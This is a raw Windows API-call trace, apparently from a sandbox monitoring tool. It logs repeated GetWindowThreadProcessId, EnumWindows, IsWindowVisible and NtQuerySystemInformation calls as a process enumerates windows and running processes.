[0280.326] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0280.327] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0280.327] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0280.327] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0280.327] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0280.327] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0280.327] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0280.327] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0280.327] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0280.328] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0280.328] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0280.328] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0280.328] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0280.328] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0280.328] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0280.328] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0280.328] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0280.329] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0280.329] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0280.329] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0280.329] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0280.329] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0280.329] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0280.329] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0280.331] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0280.934] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0282.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0282.927] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0282.931] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11bd0) returned 0x0
[0282.935] EnumWindows (lpEnumFunc=0x1b1a2aac, lParam=0x0) returned 1
[0282.963] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0282.963] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.964] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.964] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.964] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.964] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0282.964] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.964] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0282.964] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0282.964] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.964] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.964] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.964] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.965] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.965] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.965] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.965] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.965] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0282.965] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.965] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.965] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.965] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0282.965] IsWindowVisible (hWnd=0x10320) returned 0
[0282.965] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.966] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0282.966] IsWindowVisible (hWnd=0x1031c) returned 0
[0282.966] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.966] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0282.966] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.966] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0282.966] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.966] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0282.966] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.966] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0282.966] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.966] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0282.966] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0282.966] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0282.967] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.967] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0282.967] IsWindowVisible (hWnd=0x102e0) returned 0
[0282.967] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.967] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0282.967] IsWindowVisible (hWnd=0x102e6) returned 0
[0282.967] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.967] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0282.967] IsWindowVisible (hWnd=0x102e2) returned 0
[0282.967] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.967] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0282.967] IsWindowVisible (hWnd=0x102de) returned 0
[0282.967] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0282.967] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0282.967] IsWindowVisible (hWnd=0x102dc) returned 0
[0282.967] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0282.967] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0282.967] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0282.968] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0282.968] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.968] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.968] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.968] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.968] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.968] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.968] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.968] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.968] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0282.969] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0282.969] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0282.969] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0282.969] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0282.969] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0282.969] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0282.969] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0282.969] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0282.969] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0282.969] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0282.970] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0282.970] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0282.970] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0282.970] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0282.970] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0282.970] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0282.970] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0282.970] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0282.970] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0282.970] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0282.971] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0282.971] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0282.971] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0282.971] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0282.971] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0282.971] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0282.971] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0282.971] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0282.971] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0282.971] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0282.971] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0282.972] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0282.973] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0282.973] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0282.973] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0282.973] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0282.973] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0282.973] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0282.973] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0282.973] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0282.973] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0282.973] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0282.973] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0282.974] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0282.974] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0282.974] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0282.974] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0282.974] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0282.974] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0282.974] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0282.974] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0282.974] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0282.975] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0282.975] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0282.975] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0282.975] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0282.975] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0282.975] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0282.975] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0282.976] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0282.976] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0282.976] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0282.976] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0282.976] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0282.976] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0282.976] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0282.976] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0282.977] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.977] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0282.977] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.977] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0282.977] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.977] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.977] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0282.978] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.978] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.978] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0282.978] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0282.978] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0282.978] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0282.978] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0282.978] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0282.978] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0282.978] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0282.978] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.979] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0282.979] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0282.979] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
